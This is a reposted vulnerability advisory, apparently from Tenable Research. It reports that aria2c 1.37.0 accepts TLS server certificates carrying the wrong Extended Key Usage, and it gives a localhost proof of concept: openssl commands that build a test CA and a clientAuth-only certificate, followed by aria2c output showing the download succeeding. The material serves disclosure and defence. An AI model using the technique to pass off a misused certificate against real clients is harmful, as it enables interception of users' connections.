Close Menu

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    What's Hot

    SSA-921111 V1.1 (Last Update: 2026-05-13): Two File Parsing Vulnerabilities in Solid Edge Before Version SE226 Update 5

    May 13, 2026

    At Least We Know the Washington Post Isn’t Buying Views

    May 13, 2026

    aria2c Improper Certificate Validation – Research Advisory

    May 13, 2026
    Facebook X (Twitter) Instagram
    • Demos
    • Technology
    • Gaming
    • Buy Now
    Facebook X (Twitter) Instagram Pinterest Vimeo
    Canadian Cyber WatchCanadian Cyber Watch
    • Home
    • News
    • Alerts
    • Tips
    • Tools
    • Industry
    • Incidents
    • Events
    • Education
    Subscribe
    Canadian Cyber WatchCanadian Cyber Watch
    Home»Alerts»aria2c Improper Certificate Validation – Research Advisory
    Alerts

    aria2c Improper Certificate Validation – Research Advisory

    adminBy adminMay 13, 2026No Comments3 Mins Read
    Share Facebook Twitter Pinterest LinkedIn Tumblr Reddit Telegram Email
    Share
    Facebook Twitter LinkedIn Pinterest Email


    Tenable Research discovered that aria2c accepts a server certificate with incorrect Extended Key Usage (EKU). If the attackers compromise a certificate (with the associated private key) issued for a different purpose, they may be able to reuse it for TLS server authentication.

     

    Proof of Concept

    In this PoC, we will demonstrate generating private keys and the corresponding X.509 certificates, configuring a TLS server to use them, and then how aria2c fails to properly validate a certificate not meant to be used for TLS server authentication. In a real attack, the attackers would reuse the X.509 certificate and its corresponding key they managed to compromise.

     

    Generate a set of RSA keys:

    openssl genrsa -out ca-key.pem 2048

    openssl genrsa -out server-key.pem 2048

     

    Create an OpenSSL config:

    cat openssl-ca.cfg 

    [ ca ]

    keyUsage                = critical,digitalSignature,keyCertSign,cRLSign

    extendedKeyUsage        = serverAuth,clientAuth

    basicConstraints        = critical,CA:TRUE

    subjectKeyIdentifier    = hash

    authorityKeyIdentifier  = keyid:always

     

    [ server ]

    keyUsage                = critical,digitalSignature

    extendedKeyUsage        = serverAuth

    basicConstraints        = critical,CA:FALSE

    subjectKeyIdentifier    = hash

    authorityKeyIdentifier  = keyid:always

     

    [ server-bad-eku ]

    keyUsage                = critical,digitalSignature

    extendedKeyUsage        = clientAuth

    basicConstraints        = critical,CA:FALSE

    subjectKeyIdentifier    = hash

    authorityKeyIdentifier  = keyid:always

     

    Generate root CA certificate:

    openssl req -x509 -new -key ca-key.pem -days 365 -out ca-cert.pem -subj “/CN=TestCA” -config openssl-ca.cfg -extensions ca

     

    Generate a certificate signing request:

    openssl req -new -key server-key.pem -out server.csr -subj “/CN=server” -addext “subjectAltName = DNS:localhost”

     

    Generate a valid server certificate:

    openssl x509 -req -CA ca-cert.pem -CAkey ca-key.pem -CAcreateserial -in server.csr -out server-cert.pem -days 365 -extfile openssl-ca.cfg -extensions server -copy_extensions copyall

     

    Check EKU the generated certificate:

    openssl x509 -text -noout -in server-cert.pem | grep -i ‘Extended Key Usage’ -A1

                X509v3 Extended Key Usage: 

                    TLS Web Server Authentication

     

    Generate invalid server certificates with incorrect EKU:

    openssl x509 -req -CA ca-cert.pem -CAkey ca-key.pem -CAcreateserial -in server.csr -out server-bad-eku-cert.pem -days 365 -extfile openssl-ca.cfg -extensions server-bad-eku -copy_extensions copyall

     

    Check EKU in the generated certificate:

    openssl x509 -text -noout -in server-bad-eku-cert.pem | grep -i ‘Extended Key Usage’ -A1

                X509v3 Extended Key Usage: 

                    TLS Web Client Authentication

     

    Start a server using a valid server certificate:

    openssl s_server -key server-key.pem -cert server-cert.pem -www -port 8080

     

    Connection succeeds as expected:

    aria2c –ca-certificate=ca-cert.pem https://localhost:8080

     

    04/30 18:14:37 [NOTICE] Downloading 1 item(s)

     

    04/30 18:14:37 [NOTICE] Download complete: /home/parallels/aria2c/index.html

     

    Download Results:

    gid   |stat|avg speed  |path/URI

    ======+====+===========+=======================================================

    9bf002|OK  |   588KiB/s|/home/parallels/aria2c/index.html

     

    Status Legend:

    (OK):download completed.

     

    Start a server using a server certificate with incorrect EKU:

    openssl s_server -key server-key.pem -cert server-bad-eku-cert.pem -www -port 8080

     

    Connection succeeds while it shouldn’t:

    aria2c –ca-certificate=ca-cert.pem https://localhost:8080

     

    04/30 18:14:57 [NOTICE] Downloading 1 item(s)

     

    04/30 18:14:57 [NOTICE] File already exists. Renamed to /home/parallels/aria2c/index.1.html.

     

    04/30 18:14:57 [NOTICE] Download complete: /home/parallels/aria2c/index.1.html

     

    Download Results:

    gid   |stat|avg speed  |path/URI

    ======+====+===========+=======================================================

    c6e101|OK  |   673KiB/s|/home/parallels/aria2c/index.1.html

     

    Status Legend:

    (OK):download completed.

     

     

    aria2c –ca-certificate=ca-cert.pem –check-certificate https://localhost:8080

     

    04/30 18:15:07 [NOTICE] Downloading 1 item(s)

     

    04/30 18:15:07 [NOTICE] File already exists. Renamed to /home/parallels/aria2c/index.2.html.

     

    04/30 18:15:07 [NOTICE] Download complete: /home/parallels/aria2c/index.2.html

     

    Download Results:

    gid   |stat|avg speed  |path/URI

    ======+====+===========+=======================================================

    686fe6|OK  |   786KiB/s|/home/parallels/aria2c/index.2.html

     

    Status Legend:

    (OK):download completed.

     

    aria2c –ca-certificate=ca-cert.pem –check-certificate=true https://localhost:8080

     

    04/30 18:15:14 [NOTICE] Downloading 1 item(s)

     

    04/30 18:15:14 [NOTICE] File already exists. Renamed to /home/parallels/aria2c/index.3.html.

     

    04/30 18:15:14 [NOTICE] Download complete: /home/parallels/aria2c/index.3.html

     

    Download Results:

    gid   |stat|avg speed  |path/URI

    ======+====+===========+=======================================================

    4a4aec|OK  |   786KiB/s|/home/parallels/aria2c/index.3.html

     

    Status Legend:

    (OK):download completed.

     

    Version of aria2c which was tested on Ubuntu 24.04:

    aria2c –version | head -n 1

    aria2 version 1.37.0

     

    Other versions may be vulnerable too, but we have not validated additional versions.



    Source link

    Share. Facebook Twitter Pinterest LinkedIn Tumblr Email
    Previous ArticlePSIRT | FortiGuard Labs
    Next Article At Least We Know the Washington Post Isn’t Buying Views
    admin
    • Website

    Related Posts

    Alerts

    SSA-921111 V1.1 (Last Update: 2026-05-13): Two File Parsing Vulnerabilities in Solid Edge Before Version SE226 Update 5

    May 13, 2026
    Alerts

    PSIRT | FortiGuard Labs

    May 13, 2026
    Alerts

    CVE-2026-44572 | THREATINT

    May 13, 2026
    Add A Comment

    Comments are closed.

    Demo
    Top Posts

    Catchy & Intriguing

    March 17, 202674 Views

    Defending Canada’s Digital Frontier: Combating Phishing, Social Engineering, Ransomware, and Malware

    March 23, 202624 Views

    IP Address Investigations and Local OSINT

    March 20, 202624 Views
    Stay In Touch
    • Facebook
    • YouTube
    • TikTok
    • WhatsApp
    • Twitter
    • Instagram
    Latest Reviews
    85
    Featured

    Pico 4 Review: Should You Actually Buy One Instead Of Quest 2?

    January 15, 2021 Featured
    8.1
    Uncategorized

    A Review of the Venus Optics Argus 18mm f/0.95 MFT APO Lens

    January 15, 2021 Uncategorized
    8.9
    Editor's Picks

    DJI Avata Review: Immersive FPV Flying For Drone Enthusiasts

    January 15, 2021 Editor's Picks

    Subscribe to Updates

    Get the latest tech news from FooBar about tech, design and biz.

    Demo
    Most Popular

    Catchy & Intriguing

    March 17, 202674 Views

    Defending Canada’s Digital Frontier: Combating Phishing, Social Engineering, Ransomware, and Malware

    March 23, 202624 Views

    IP Address Investigations and Local OSINT

    March 20, 202624 Views
    Our Picks

    SSA-921111 V1.1 (Last Update: 2026-05-13): Two File Parsing Vulnerabilities in Solid Edge Before Version SE226 Update 5

    May 13, 2026

    At Least We Know the Washington Post Isn’t Buying Views

    May 13, 2026

    aria2c Improper Certificate Validation – Research Advisory

    May 13, 2026

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    Facebook X (Twitter) Instagram Pinterest
    • Home
    • Technology
    • Gaming
    • Phones
    • Buy Now
    © 2026 ThemeSphere. Designed by ThemeSphere.

    Type above and press Enter to search. Press Esc to cancel.